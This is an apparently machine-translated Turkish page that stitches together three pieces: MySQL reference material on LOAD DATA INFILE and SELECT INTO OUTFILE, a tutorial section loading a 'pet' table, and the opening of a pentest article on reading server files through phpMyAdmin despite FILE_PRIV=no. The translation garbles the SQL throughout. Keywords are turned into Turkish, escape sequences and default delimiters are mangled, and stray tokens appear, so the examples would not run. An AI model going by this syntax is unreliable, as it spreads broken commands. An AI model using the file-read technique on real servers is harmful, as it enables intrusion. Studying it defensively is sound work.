LOAD DATA'yı boş bir MyISAM tablosunda çalıştırırsanız, benzersiz olmayan tüm dizinler ayrı bir işte oluşturulur (ONARIM TABLOSU'nda olduğu gibi). Bu genellikle çok sayıda dizin olduğunda LOAD DATA'nın çok daha hızlı olmasına neden olur. Genellikle bu çok hızlı çalışır, ancak bazı özel durumlarda dizinleri yüklemeden önce ALTER TABLE...DISABLE KEYS aracılığıyla devre dışı bırakarak daha da hızlı oluşturabilirsiniz.

dosyayı tabloya aktarın, dizinleri yeniden oluşturun ve bunları ALTER TABLE... kullanarak etkinleştirin. Yükleme tamamlandıktan sonra ENABLE KEYS.
LOAD DATA INFILE, SELECT...INTO OUTFILE'a bir eklentidir. SELECT Söz Dizimine bakın Bir tablodan dosyaya veri yazmak için SELECT... INTO OUTFILE'ı kullanın. Verileri bir dosyadan tabloya geri okumak için LOAD DATA INFILE'ı kullanın. FIELDS ve LINES yapılarının sözdizimi her iki ifade için de aynıdır. Bu yapıların her ikisi de isteğe bağlıdır, ancak her ikisi de belirtilirse alanların LINES'tan önce gelmesi gerekir.
FIELDS yapısı belirtilirse, en az bir parametrenin mevcut olması gerekliliği dışında tüm parametreleri (TERMINATED BY, ENCLOSED BY ve ESCAPED BY) de isteğe bağlıdır.
FIELDS yapısı belirtilmemişse varsayılan değer şudur:
"TF TARAFINDAN KAÇTI" TARAFINDAN KAPLANAN ALANLAR
LINES yapısı belirtilmemişse varsayılan değer şudur:
"n! BAŞLAYAN " İLE BİTİRİLEN SATIRLAR
Başka bir deyişle, LOAD DATA INFILE'ın girişi okurken varsayılan davranışı şöyledir:

  1. Satırların başında satır ayırıcıları arayın.
  2. Hiçbir satır önekini atlamayın.
  3. Bir satırı sekme karakterlerine göre alanlara ayırın.
  4. Alanların alıntılanmasını beklemeyin.
  5. Sekme karakteri, satır besleme veya önünde \ bulunan "\" karakterinin oluşumunu, alan değerinin parçası olan değişmez karakterler olarak yorumlayın.

Bunun tersine, SELECT... INTO OUTFILE varsayılan olarak şu şekilde davranır:

  1. Alanlar arasına sekme karakterlerini yazar.
  2. Alan değerlerini tırnak işaretleri içine almaz.
  • Sekmeleri, yeni satırları veya alan değerlerinde oluşan "\'yi vurgulamak için *" kullanır.
  • Satır sonuna yeni satır karakteri yazar.
FIELDS ESCAPED BY "W yazmanın, okunması için bir ters eğik çizgi gerektiren değerler için iki ters eğik çizgi belirtmenizi gerektireceğini unutmayın.
Bir notta!
Windows sisteminde bir metin dosyası oluşturduysanız, Windows programları genellikle bu iki karakteri satır ayırıcı olarak kullandığından, dosyayı doğru okumak için LINES TERMINATED BY "rn belirtmeniz gerekebilir. WordPad gibi bazı programlar " karakterini kullanabilir. Satır ayırıcı olarak r". Bu tür dosyaları okumak için "r" İLE SONLANDIRILAN HATLARI kullanın.
Okuduğunuz dosyanın tüm satırlarında yoksaymak istediğiniz ortak bir önek varsa, "ŞUNLA BAŞLAYAN SATIRLARI kullanın" string_prefixes Bu öneki atlamak için. Bir satır önek içermiyorsa tamamı atlanır.

Yoksay seçeneği miktar LINES, dosyanın başındaki belirli sayıda satırı yok saymak için kullanılır. Örneğin, sütun adlarını içeren ilk satırı atlamak için IGNORE I LINES'ı kullanabilirsiniz:
mysql> VERİ DOSYASINI YÜKLE "/tmp/test.txt" -> TABLOYA test 1 SATIRI GÖZ ÖNÜNDE BULUNDURUN;
Veritabanından bir dosyaya veri yazmak ve ardından onu okuyup tekrar veritabanına yüklemek için SELECT... INTO OUTFILE'ı LOAD DATA INFILE ile birlikte kullandığınızda, her iki ifade için satır ve alan yönetimi seçenekleri aynı olmalıdır. Aksi halde LOAD DATA INFILE, metin dosyasının içeriğini doğru şekilde yorumlayamayacaktır. Verileri bir metin dosyasına çıkarmak için alanları virgülle ayırarak SELECT...INTO OUTFILE kullandığınızı varsayalım:
mysql> SEÇME* OUTFILE İÇİNDE "data.txt" -> ALANLAR TARAFINDAN SONLANDIRILDI", -> tablo2'DEN;
Virgülle ayrılmış bir dosyayı geri okumak için bunu yapmanın doğru yolu şudur:
mysql> VERİ DOSYASINI YÜKLE "data.txt1 TABLO tablo2'YE -> ALANLAR TARAFINDAN SONLANDIRILDI
Bunun yerine aşağıdaki ifadeyle okumayı denerseniz işe yaramaz çünkü LOAD DATA INFILE alan değerleri arasındaki sekme karakterlerini arayacaktır:
mysql> "data.txt" VERİ DOSYASINI TABLO2'YE YÜKLEYİN -> "t" İLE SONLANDIRILAN ALANLAR;
En olası sonuç, giriş dizesini tek bir alan olarak yorumlamak olacaktır.
LOAD DATA INFILE, harici kaynaklardan dosya okumak için de kullanılabilir. Örneğin, bir dosyada virgülle ayrılmış ve çift tırnak içine alınmış alanlar bulunabilir. Bir dosyadaki satırlar yeni satır karakteriyle ayrılmışsa aşağıdaki örnek, dosyayı yüklemek için hangi satır ve sütun sınırlayıcı seçeneklerinin ayarlanması gerektiğini gösterir:
mysql> "data.txt" VERİ DOSYASINI TABLOYA YÜKLEYİNTablo ismi-> 1,1 İLE SONLANDIRILAN ALANLAR "" İLE ÇEVRİLİYOR -> ŞUNLARLA SONLANDIRILAN HATLAR"N";
Satır ve sütun sınırlayıcılarını belirten tüm seçenekler boş dizeleri (") bağımsız değişken olarak alabilir. Bağımsız değişkenler boş dizeler değilse, o zaman ALANLAR İÇİNDEKİLER ve ESCAPED BY'ler için değerler aynı olmalıdır ZORUNLU. FIELDS SONLANDIRILMIŞ SEÇENEKLER İÇİN bağımsız değişkenler , BAŞLAYAN SATIRLAR VE ŞUNLA SONLANDIRILAN SATIRLAR birden fazla karakter uzunluğunda olabilir. Örneğin, satırbaşları/satır beslemeleri ile ayrılmış satırlar yazmak veya bu tür satırları içeren dosyaları okumak için, "rn" TARAFINDAN SONLANDIRILAN SATIRLAR'ı belirtin.
%% karakterleri içeren satırlarla ayrılmış bir dosyayı okumak için aşağıdakileri yapabilirsiniz:
mysql> MASA şakaları OLUŞTURUN
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> şaka TEXT NOT NULL);

mysql> VERİ DOSYASINI YÜKLE "/tmp/jokes,txf TABLO'YA şakalar -> "" TARAFINDAN SONLANDIRILAN ALANLAR -> "\n%%\n" TARAFINDAN SONLANDIRILAN SATIRLAR (şaka);
EKLENEN ALANLAR alan sınırlayıcılarını (tırnak işaretleri) kontrol eder. Çıktıda (SELECT... INTO OUTFILE), OPTIONALLY kelimesini atlarsanız, tüm alanlar ENCLOSED BY'de belirtilen karakterle çevrelenecektir. Bu tür çıktının bir örneği (alan ayırıcı olarak virgül kullanılarak) aşağıda gösterilmiştir:
"1", "bir dize", "100.20"
"2", "virgül içeren bir dize", "102.20"
"3", "\" tırnak işareti içeren bir dize", "102.20"
"4", "\", alıntı ve virgül içeren bir dize", "102.20"
İSTEĞE BAĞLI OLARAK belirtirseniz, ENCLOSED BY karakteri yalnızca CHAR ve VARCHAR alanlarından alıntı yapmak için kullanılır:
1,"bir dizi",100.20
3,"\" tırnak işareti içeren bir dize",102.20
4,"\", alıntı ve virgül içeren bir dize",102.20
ESCAPED BY'de belirtilen karakterin alan değeri içinde ESCAPED BY'de belirtilen karakterden önce geldiğini unutmayın. Ayrıca, ESCAPED BY için boş bir değer belirlerseniz, LOAD DATA INFILE'ın doğru şekilde yüklenemeyeceği bir dosyanın oluşturulması mümkündür.
Örneğin iptal karakteri boş bırakılırsa yukarıdaki çıktı aşağıdaki gibi görünecektir. Dördüncü satırdaki ikinci alanın, bir alıntıdan sonra (yanlışlıkla) alan ayırıcı olarak görünecek bir virgül içerdiğini görmek kolaydır.
1,"bir dizi",100.20
2,", virgül içeren bir dize",102.20
3,"" alıntı içeren bir dize",102.20
4,"", alıntı ve virgül içeren bir dize",102.20
Siz yazarken, ECLOSED BY sembolü, eğer mevcutsa, alan değerlerinin sonundan kaldırılır. (İSTEĞE BAĞLI sözcüğü belirtilse de belirtilmese de bu doğrudur. Girişin yorumlanmasında bu sözcüğün hiçbir etkisi yoktur.) ESCAPED BY karakterinin önünde ENCLOSED BY karakterlerinin bulunması, geçerli alan değerinin bir parçası olarak yorumlanır.
Bir alan ENCLOSED BY karakteriyle başlıyorsa, bu karakterin örnekleri, yalnızca bunların ardından bir TERMINATED BY alanı veya dizisi gelmesi durumunda alanın değerini sonlandıracak şekilde yorumlanır. ENCLOSED BY karakteri bir alan değerinde göründüğünde belirsizliği önlemek için karakter çoğaltılabilir ve karakterin tek bir örneği olarak yorumlanır. Örneğin ECLOSED BY "" belirtilirse tırnak işaretleri şu şekilde işlenir:
""BÜYÜK"" patron" -> "BÜYÜK" patron "BÜYÜK" patron -> "BÜYÜK" patron ""BÜYÜK"" patron -> ""BÜYÜK"" patron
FIELDS ESCAPED BY özel karakterlerin okunmasını veya yazılmasını kontrol eder. KAÇAN ALANLAR bağımsız değişkeni boş değilse, çıktıda aşağıdaki karakterler için önek olarak kullanılır:

  1. ALANLAR KAÇTI sembolü.
  2. TARAFINDAN KAPLANAN ALANLAR sembolü.
  3. Dizilerin ilk KARAKTERİ ALANLAR TARAFINDAN SONLANDIRILIR VE HATLAR TARAFINDAN SONLANDIRILIR.
  4. ASCII 0 (iptal karakterinden sonra boş bayt yerine ASCII "0" olarak yazılır).

FIELDS ESCAPED BY karakteri boşsa, hiçbir karakterin önüne kaçış karakterleri gelmez ve NULL, \N yerine NULL olarak çıktılanır. Özellikle veri alanı değerleriniz belirtilen karakterlerden herhangi birini içeriyorsa, KAÇAN ALANLAR bağımsız değişkenini boş bırakmak muhtemelen iyi bir fikir değildir.
Giriş yaparken, KAÇAN ALANLAR boş değilse, değer satırında bu karakter göründüğünde kaldırılır ve alan değerinin bir parçası olarak aşağıdaki karakter tam anlamıyla okunur. "0" veya "N" dizileri istisnadır (SYS-PAGE-CONTENT veya kaçış karakteri "\" ise \N). Bu diziler sırasıyla ASCII NUL (boş bayt) ve NULL olarak yorumlanır. NULL'u işlemeye ilişkin kurallar bu bölümün ilerleyen kısımlarında açıklanacaktır.
"\" iptal söz dizimi hakkında daha fazla bilgiyi Değişmez Değerler bölümünde bulabilirsiniz
Bazı durumlarda alanları ve satırları kontrol eden seçenekler birbiriyle etkileşime girer:

  1. LINES TERMINATED BY için boş bir dize belirtildiyse ve FIELDS TERMINATED BY boş değilse, LINES TERMINATED BY aynı zamanda satır ayırıcıdır.
  2. HEM SONLANDIRILAN ALANLAR HEM DE ETKİLENEN ALANLAR boşsa, sabit dize formatı (sınırlayıcı yok) KULLANILIR. Bu format, alanlar arasında herhangi bir ayırıcı kullanmaz (ancak bir satır ayırıcıya sahip olabilir). Bunun yerine sütun değerleri sütun görüntüleme genişliği kullanılarak yazılır ve okunur. Örneğin bir sütun INT(7) olarak bildirilmişse sütun değerleri yedi karakterlik bir alana yazılır. Girildiğinde sütun değerleri yedi karakter okunarak alınır.

LINES SONLANDIRILDI BY hala satırları ayırmak için kullanılıyor. Bir satır tüm alanları içermiyorsa kalan sütunlara varsayılan değerleri atanır. Satır sonlandırıcınız yoksa değeri 1" olarak ayarlanmalıdır. Bu durumda, metin dosyası her satırdaki tüm alanları içermelidir. Sabit satır uzunluğu biçimi aynı zamanda açıklandığı gibi NULL değerlerinin işlenmesiyle de ilgilenir. Çok baytlı bir karakter seti kullanıldığında (örneğin Unicode) sabit uzunluklu format uzunluğunun çalışmadığına dikkat edilmelidir.
NULL değerlerinin işlenmesi, kullanılan ALANLAR ve HATLAR seçeneklerine bağlı olarak değişir:

  1. Varsayılan FIELDS ve LINES değerleriyle NULL, çıktı için alan değeri olarak \N olarak yazılır ve aynı \N değeri giriş için NULL olarak okunur (ESCAPED BY karakterinin "\" olarak ayarlandığı varsayılarak)-
  2. FIELDS ENCLOSED BY boş değilse, NULL sözcüğünü içeren alan NULL olarak okunur. Bu, NULL sözcüğünün FIELDS ENCLOSED BY karakterleriyle sınırlandırıldığı ve değerin "NULL" dizesi olarak okunduğu durumdan farklıdır.
  3. FIELDS ESCAPED BY boşsa, NULL kelimesi olarak NULL yazılır.
  • Sabit bir dize uzunluğu biçiminde (bu, hem FIELDS TERMINATED BY hem de FIELDS ENCLOSED BY boş olduğunda gerçekleşir), NULL, boş dize olarak yazılır. Bunun, her ikisi de boş satır yazdığından, tablodaki NULL değerlerin ve boş satırların bir dosyaya yazıldığında ayırt edilemez olmasına neden olduğunu unutmayın. Aralarında ayrım yapmanız gerekiyorsa sabit satır uzunluğunda bir format kullanmaktan kaçının.
    Aşağıda LOAD DATA INFILE tarafından desteklenmeyen bazı durumlar verilmiştir:
    1. TEXT veya BLOB sütunlarının varlığında UZUNLUK satırları (TARAFINDAN SONLANDIRILAN ALANLAR VE nyctye TARAFINDAN KAPLANAN ALANLAR) düzeltildi.
    2. Başka bir ayırıcının önekiyle aynı olan bir sınırlayıcı belirtirseniz, LOAD DATA INFILE giriş akışını doğru şekilde yorumlayamayabilir. Örneğin aşağıdaki seçenek sorunlara neden olacaktır:

    "" İLE SONLANDIRILAN ALANLAR "" İLE EKLENMİŞTİR

    • FIELDS ESCAPED BY boşsa, FIELDS ENCLOSED BY VEYA LINES TERMINATED BY karakterlerini ve ardından bir LINES SONLANDIRILDI KARAKTER TARAFINDAN karakterlerini içeren alan değerleri, LOAD DATA INFILE'ın dosyayı veya satırı okumayı çok erken durdurmasına neden olur. Bunun nedeni, LOAD DATA INFILE'ın alan veya satır değerinin nerede biteceğini doğru şekilde belirleyememesidir. Aşağıdaki örnek, kişi verileri tablosunun tüm sütunlarını yükler: mysql> "persondata.txt" VERİ DOSYASI'nı kişi verileri TABLOSUNA YÜKLEYİN;
      Varsayılan olarak, LOAD DATA INFILE ifadesinin sonunda bir sütun listesi sağlanmadığı sürece, giriş satırının tablodaki her sütun için alanlar içermesi beklenir. Tablo sütunlarının yalnızca bir kısmını yüklemek istiyorsanız bir sütun listesi belirtin:
      mysql> VERİ DOSYASINI YÜKLE "persondata.txt1
      -> INTO TABLE kişisel verileri(coll,col2,...);
      Giriş dosyasındaki alanların sırası tablodaki sütunların sırasından farklıysa da bir sütun listesi belirtmeniz gerekir. Aksi takdirde MySQL, giriş alanları ile tablo sütunları arasında bir eşleme oluşturamayacaktır.
      Giriş dosyasının satırlarında çok az alan varsa eksik sütunlara varsayılan değerler atanacaktır. Varsayılan değerlerin atanması CREATE TABLE Söz Diziminde açıklanmıştır.
      Boş alan değerleri, eksik alanlardan farklı şekilde yorumlanır:
      1. Dize türleri için sütuna boş bir dize atanır.
      2. Sayısal türler için sütuna 0 atanır.
      3. Tarih ve saat türleri için sütun karşılık gelen türe ayarlanır
        "Boş değer. Bkz. Tarih ve Saat Türleri

      Bunlar, boş dizenin bir INSERT veya UPDATE ifadesinde bu türdeki sütunlara açıkça atanmasından kaynaklanan değerlerin aynısıdır.
      TIMESTAMP türündeki sütun değerleri, yalnızca NULL (yani \N) olarak ayarlandığında veya bir alan listesi verilmişse bu türdeki bir sütun alan listesinden çıkarıldığında geçerli tarih ve saate ayarlanır.

      LOAD DATA INFILE, tüm girişleri dize girişi olarak ele alır, bu nedenle INSERT ifadelerinde izin verildiği gibi ENUM veya SET sütunları için sayısal değerler kullanamazsınız. Tüm ENUM veya SET değerleri string olarak belirtilmelidir!
      LOAD DATA INFILE ifadesi tamamlandığında aşağıdaki formatta bir bilgi dizesi döndürür:
      Kayıtlar: Sildim: 0 Atlandı: 0 Uyarılar: Hakkında
      C API ile çalışıyorsanız mysql_info() fonksiyonunu çağırarak bu ifade hakkında bilgi alabilirsiniz.
      Bazı koşullar altında ortaya çıkan uyarılar, INSERT deyimiyle değerler eklenirken ortaya çıkan uyarılarla aynıdır (bkz. Bölüm 6.1.4), ancak LOAD DATA INFILE aynı zamanda çok az veya çok fazla alan olduğuna dair uyarılar da üretir. Uyarılar hiçbir yerde saklanmaz, uyarı sayısı yalnızca her şeyin yolunda gittiğinin bir işareti olarak kullanılabilir.
      MySQL 4.1.1'den bu yana, ilk max_error_count uyarılarını aşağıdakilerle ilgili bilgi olarak listelemek için SHOW WARNINGS seçeneğini kullanabilirsiniz. Ne Yükleme yanlış gitti. UYARILARI GÖSTER Söz Dizimine bakın
      MySQL 4.1.1'den önce yalnızca uyarı sayısı yükün düzgün gitmediğinin göstergesiydi. Bir uyarı alırsanız ve tam olarak neden göründüğünü bilmek istiyorsanız, bunu yapmanın tek yolu tabloyu başka bir dosyaya dökmek ve orijinal giriş dosyasıyla karşılaştırmak için SELECT...INTO OUTFILE komutunu kullanmaktır.

Öğreticide Gezinme: 1.1 MySQL Nedir? 1.2 Neden MySQL kullanıyorsunuz? 1.3 MySQL ne kadar kararlı? 1.4 MySQL tabloları ne kadar büyük olabilir? 1.5 MySQL, MySQL AB, MySQL-MAX: nedir bu? 1.6 MySQL hangi işletim sistemlerinde çalışır? 1.7 MySQL Dağıtımları 1.8 MySQL Komut Satırı İstemleri 2.1 MySQL'e Giriş 2.2 MySQL Sunucusuna Bağlanma 2.3 MySQL'de Sorgu Girme 2.4 Veritabanları Oluşturma ve Kullanma 2.5 MySQL Veritabanı Oluşturma 2.6 MySQL Tablosu Oluşturma 2.7 MySQL'e Veri Yükleme Tablo 2.8 Tüm Verileri Seçme MySQL Tablo 2.9 MySQL tablosundan belirli satırları seçme 2.10 MySQL tablosundan rastgele sütunlar seçme 2.11 MySQL tablosundan satırları sıralama 2.12 MySQL tablosunda tarihleri ​​hesaplama 2.13 MySQL tablosunda NULL değerlerle çalışma 2.14 Desen eşleştirme. SQL şablonları. 2.15 SQL şablonlarında satırları sayma. COUNT() işlevi 2.16 Birden fazla tablonun tek tablo içinde kullanılması SQL sorgusu 2.17 MySQL veritabanları ve tabloları hakkında bilgi alma 2.18 MySQL'deki yaygın sorgu örnekleri 2.19 MySQL sütunu için maksimum değer 2.20 Belirli bir MySQL sütununun maksimum değerini hangi satırda saklar 2.21 MySQL grubundaki bir sütunun maksimumu 2.22 Hangi MySQL satırı maksimum değeri içerir bir grup için mi? 2.23 MySQL'de kullanıcı değişkenlerini kullanma 2.24 MySQL istemcisini toplu modda kullanma 3.1 MySQL'de Satırlar 3.2 MySQL'de Sayılar. MySQL'de sayılar nasıl yazılır? 3.3 MySQL'de Hexadecimal Değerler 3.4 MySQL'de NULL Değerler 3.5 MySQL'de Veritabanı, Tablo, Dizin, Sütun ve Takma Adlar 3.6 MySQL Adlarında Büyük/Küçük Harf Duyarlılığı 3.7 MySQL'de Kullanıcı Değişkenleri 3.8 MySQL'de Yorumlar 3.9 MySQL Ayrılmış Kelimeler 4.1 MySQL Veritabanlarını Yedekleme 4.2 BACKUP TABLE MySQL'de Sözdizimi 4.3 RESTORE TABLE MySQL'de Sözdizimi 4.4 CHECK TABLE MySQL'de Sözdizimi 4.5 REPAIR TABLE MySQL'de Sözdizimi 4.6 OPTIMIZE TABLE MySQL'de Sözdizimi 4.7 ANALYZE TABLE MySQL'de Sözdizimi 4.8 FLUSH MySQL'de Sözdizimi 4.9 K Sözdizimi ILL MySQL 4.10 SHOW Sözdizimi MySQL 4.11 MySQL'de SHOW TABLE STATUS sözdizimi 4.12 MySQL'de SHOW STATUS sözdizimi 4.13 MySQL'de GÖSTER DEĞİŞKENLER sözdizimi back_log 4.15 karakter_set, karakter_setleri, concurrent_inserts 4.16 connect_timeout, gecikme_key_write, gecikme_insert_limit 4.17 gecikmiş_ insert_timeout, gecikmeli_kuyruk_ boyutu, floş_zaman 4.18 have_raid, have_ssl, init_file 4.19 interaktif_zaman aşımı, join_buffer_size, key_buffer_size 4.20 dil, log_bin, long_query_time 4.21 alt_kutu_tablo_adları, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user _connections 4,24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4,25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4,26 net_read_timeout, net_retry_count, net_write_timeout 4,27 open_files_limit, port, Record_buffer 4.28 protokol_versiyonu, Record_rnd_buffer, query_buffer_size 4.29 Safe_show_databases, skip_networking, skip_show_databases 4.30 soket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 SHOW PROCESSLIST sözdizimi MySQL 4.33'te Syn taksi MySQL 4.34'te HİBELERİ GÖSTER Sözdizimi MySQL 4.35'te TABLO OLUŞTURMA GÖSTER MySQL'de seçenekler dosyası my.cnf 5.1 MySQL'de sütun türleri 5.2 MySQL'de sayısal türler 5.3 MySQL'de tarih ve saat türleri 5. 4 MySQL'de Y2K (2000) problemi ve Date türleri 5.5 MySQL'de DATETIME, DATE ve TIMESTAMP türleri 5.6 MySQL'de TIME türü 5.7 MySQL'de YEAR türü 5.8 MySQL'de CHAR ve VARCHAR dize türleri 5.9 MySQL'de BLOB ve TEXT dize türleri 5.10 String türü ENUM MySQL'de 5.11 String type SET MySQL'de 5.12 MySQL sütunu için doğru türü seçme 5.13 MySQL için diğer DBMS'lerden sütun türlerini kullanma 5.14 MySQL sütunlarının bellek gereksinimleri 6.1 SELECT ve WHERE'de MySQL kullanma işlevleri 6.2 MySQL'de türlenmemiş operatör Parantezleri 6.3 Türlenmemiş Karşılaştırma MySQL'de operatör 6.4 MySQL'de mantıksal operatörler 6.5 MySQL'de dallanma işlevleri 6.6 MySQL'de dize işlevleri

Tabloyu oluşturduktan sonra onu verilerle doldurmanız gerekir. Talimatlar ve SOKMAK bunun için faydalıdır. Nasıl çalıştıklarına biraz sonra değineceğiz ama şimdilik tabloya girilmesi gereken verileri düşünelim. Tam olarak neye benziyorlar?

Yaban hayatı kayıtlarınızın aşağıdaki gibi tanımlanabileceğini varsayalım. MySQL'in tarihleri ​​yıl-ay-gün biçiminde beklediğini unutmayın; bu, alıştığınızdan farklı olabilir. Yılı 4 haneli olarak girmek daha iyidir. MySQL'in iki basamaklı yıl değerlerini doğru bir şekilde işlemek için oldukça karmaşık bir algoritması vardır, ancak şimdilik bunu çözmenize gerek yok, o yüzden verileri net bir şekilde girelim. Örneğimize ait tüm hayvan verileri Tablo 2.2'de gösterilmektedir:

Tablo 2.2. Hayvan verileri

isim mal sahibi türler seks doğum ölüm
Kabarık Harold kedi F 1993-02-04
Kabarık Harold kedi F 1993-02-04
Pençeler Gwen kedi M 1994-03-17
Buffy Harold köpek F 1989-05-13
Diş Benny köpek M 1990-08-27
benzin pompası Diane köpek M 1989-08-31 1995-07-29
cıvıl cıvıl Gwen kuş F 1998-09-11
ıslıkçı Gwen kuş 1997-12-09
İnce Benny yılan M 1996-04-29

Boş bir tabloyla başladığınız için, onu doldurmanın en kolay yolu, hayvanlarınızın her biri için bir satır içeren bir metin dosyası oluşturmak ve ardından dosyanın içeriğini tek bir ifadeyle tabloya yüklemektir.

CREATE TABLE deyiminde sütunların listelendiği sırayla belirtilen sekme duraklarıyla ayrılmış değerlerle, satır başına bir giriş içeren pet.txt metin dosyası oluşturabilirsiniz. Eksik değerler için (hala yaşayan hayvanların bilinmeyen cinsiyeti veya ölüm tarihleri ​​gibi) NULL değerlerini kullanabilirsiniz. Bunları bir metin dosyasında temsil etmek için bir etiket kullanın. Örneğin Whistler kuşuyla ilgili bir giriş şuna benzer (sekmeyi belirtmek için boşluk kullanıyorum):

Whistler Gwen kuşu 1997-12-09

adresinde bulunan pet.txt metin dosyasından veri yüklemek için yerel bilgisayar(istemci) ve sunucuda değil, evcil hayvan tablosuna LOAD DATA komutunu kullanın:

Mysql> YEREL BİLGİ DOSYASI "pet.txt" TABLOSUNA YÜKLE pet;

Anahtar kelimeler aşağıdaki anlamlara sahiptir. DOSYADA verinin okunacağı dosyanın adı olan bir dize tanımlar. İsim bir dize olduğundan tırnak içine alınır, aksi takdirde MySQL onu sayısal bir ifade olarak değerlendirmeye çalışacaktır. YEREL dosyanın sunucuda değil istemci sistemde aranması gerektiğini belirtir. TABLOYA TABLE kelimesinden hemen sonra adı belirtilen (boşlukla ayrılmış) bir tabloya veri yükleme talimatını verir.

Sütun değeri ayırıcısını ve satır sonu işaretçisini isterseniz ifadede açıkça belirtebilirsiniz ancak varsayılan değerler sekme ve satır beslemedir. Pet.txt dosyasını doğru bir şekilde okumak için bunlar yeterlidir ve şu anda daha fazlasına ihtiyacınız yok.

Yeni girişleri tek tek eklemek istediğinizde talimat faydalıdır SOKMAK. En basit haliyle, her sütun için değerleri, sütunların CREATE TABLE deyiminde listelendiği sıraya göre sağlarsınız. Diane'in Puffball adında yeni bir hamster aldığını varsayalım. INSERT deyimini kullanarak yeni bir giriş ekleyebilirsiniz:

Mysql> Pet'e INSERT
-> DEĞERLER ("Puffball", "Diane", "hamster", "f", "1999-03-30", "BOŞ");

Buradaki anahtar kelimeler de özellikle karmaşık değildir. INTO pet, ekin hangi masaya gireceğini belirler. DEĞERLER için eklenen değerlerin bir listesini belirtir Yeni giriş masada. Değerler virgülle ayrılmış olarak ve tamamı parantez içinde bir arada alınarak listelenmiştir.

Dizelerin ve tarih değerinin dize olarak tanımlandığını unutmayın. Bir değerin yokluğunu temsil etmek için NULL'u doğrudan (dize olarak değil) ekleyebilirsiniz.

Bu örnekten, doğrudan bir tabloya yüklemenin oldukça fazla yazma gerektireceğini görebilirsiniz. Talimatlar çok zaman kazandırdı.

Oldukça yaygın bir durumu anlatıyorum. Pentest sırasında uzak ana bilgisayardaki phpMyAdmin'e erişim sağlandı, ancak dosyalara onun aracılığıyla erişmek mümkün olmadı. Bunun sorumlusu MySQL arka plan programı ayarlarındaki kötü şöhretli FILE_PRIV=no bayrağıdır. Birçok kişi bu durumdan vazgeçiyor ve host üzerindeki dosyaların artık bu şekilde okunamayacağına inanıyor. Ancak durum her zaman böyle değildir.

UYARI

Tüm bilgiler yalnızca bilgilendirme amaçlıdır. Bu makalenin materyallerinden kaynaklanabilecek olası zararlardan ne editörler ne de yazar sorumlu değildir.

Prelüd

MySQL DBMS'nin dosya sistemiyle etkileşimi söz konusu olduğunda genellikle şunları hatırlarlar:

  • sunucudaki dosyaları okumanızı sağlayan LOAD_FILE işlevi;
  • yeni dosyalar oluşturmak için kullanılabilen SELECT ... INTO OUTFILE yapısı.

Buna göre, uzak bir makinedeki phpMyAdmin'e veya başka bir istemciye erişiminiz varsa, büyük olasılıkla dosya sistemine MySQL aracılığıyla erişebilirsiniz. Ancak yalnızca daemon ayarlarında FILE_PRIV=yes bayrağı ayarlanmışsa, bu her zaman böyle değildir. Bu durumda, çok daha az bilinen ancak aynı zamanda oldukça güçlü işlevselliğe sahip başka bir operatörü hatırlamamız gerekiyor. Özellikleri bu makalede ele alınacak olan LOAD DATA INFILE operatöründen bahsediyorum.

PHP ve MySQL arasındaki etkileşim

PHP, web uygulamaları oluşturmak için en yaygın dildir, bu nedenle veritabanıyla nasıl etkileşime girdiğine daha yakından bakmaya değer.

PHP4'te, MySQL istemci kitaplıkları varsayılan olarak dahil edildi ve PHP dağıtımına dahil edildi, bu nedenle kurulum sırasında yalnızca şu seçeneği belirterek MySQL'i kullanmayı bırakabilirsiniz:

MySQL olmadan.

PHP5 istemci kütüphanesi olmadan gelir. *nix sistemlerinde, PHP5 genellikle sunucuya önceden yüklenmiş olan libmysqlclient kitaplığıyla derlenir, yalnızca seçeneği ayarlayarak

Mysql=/usr ile

Montaj sırasında. Ancak sürüm 5.3'e kadar, PHP uygulamalarıyla iletişim için optimize edilmemiş bir arayüz olan MySQL sunucusuyla etkileşimde bulunmak için düşük seviyeli MySQL İstemci Kitaplığı (libmysql) kullanılır.

PHP 5.3 ve üzeri sürümler için MySQL Yerel Sürücüsü (mysqlnd) geliştirildi ve PHP 5.4'ün yakın zamanda yayımlanan sürümünde bu sürücü varsayılan olarak kullanıldı. Yerleşik MySQL sürücüsü PHP'nin bir uzantısı olarak yazılmış olsa da, bunun PHP programcısına yeni bir API sağlamadığını anlamak önemlidir. Programcı için MySQL veritabanı API'si MySQL, mysqli ve PDO_MYSQL uzantıları tarafından sağlanır. Bu uzantılar, MySQL arka plan programıyla iletişim kurmak için yerleşik MySQL sürücüsünü kullanabilir.

Yerleşik MySQL sürücüsünü kullanmak, MySQL istemci kitaplığına göre bazı avantajlar sunar: örneğin, PHP oluşturmak veya veritabanı komut dosyalarını kullanmak için MySQL yüklemenize gerek yoktur. MySQL Yerel Sürücüsü ve bunun libmysql'den farkı hakkında daha fazla bilgiyi belgelerde bulabilirsiniz.

MySQL, mysqli ve PDO_MYSQL uzantıları, libmysql veya mysqlnd'i kullanacak şekilde ayrı ayrı yapılandırılabilir. Örneğin, MySQL uzantısını MySQL İstemci Kitaplığı'nı kullanacak şekilde ve mysqli uzantısını MySQL Yerel Sürücüsüyle çalışacak şekilde yapılandırmak için aşağıdaki seçenekleri belirtmeniz gerekir:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

VERİ YÜKLE sözdizimi

LOAD DATA ifadesi, belgelerde belirtildiği gibi, bir dosyadaki satırları okur ve bunları çok yüksek bir hızda bir tabloya yükler. İle kullanılabilir anahtar kelime LOCAL (MySQL 3.22.6 ve sonrasında mevcuttur), verilerin nereden yükleneceğini belirtir. LOCAL sözcüğü eksikse, sunucu belirtilen dosyayı tabloya istemcinin makinesinden değil, kendi yerel makinesinden yükler. Yani dosya MySQL istemcisi tarafından değil, MySQL sunucusu tarafından okunacaktır. Ancak bu işlem yine FILE ayrıcalığını gerektirir (FILE_PRIV=evet bayrağı). Bu durumda ifadenin yürütülmesi LOAD_FILE işlevinin kullanılmasıyla karşılaştırılabilir; tek fark, verilerin çıktı yerine tabloya yüklenmesidir. Bu nedenle, dosyaları okumak için LOAD DATA INFILE'ı kullanmak yalnızca LOAD_FILE işlevi mevcut olmadığında, yani MySQL sunucusunun çok eski sürümlerinde anlamlıdır.

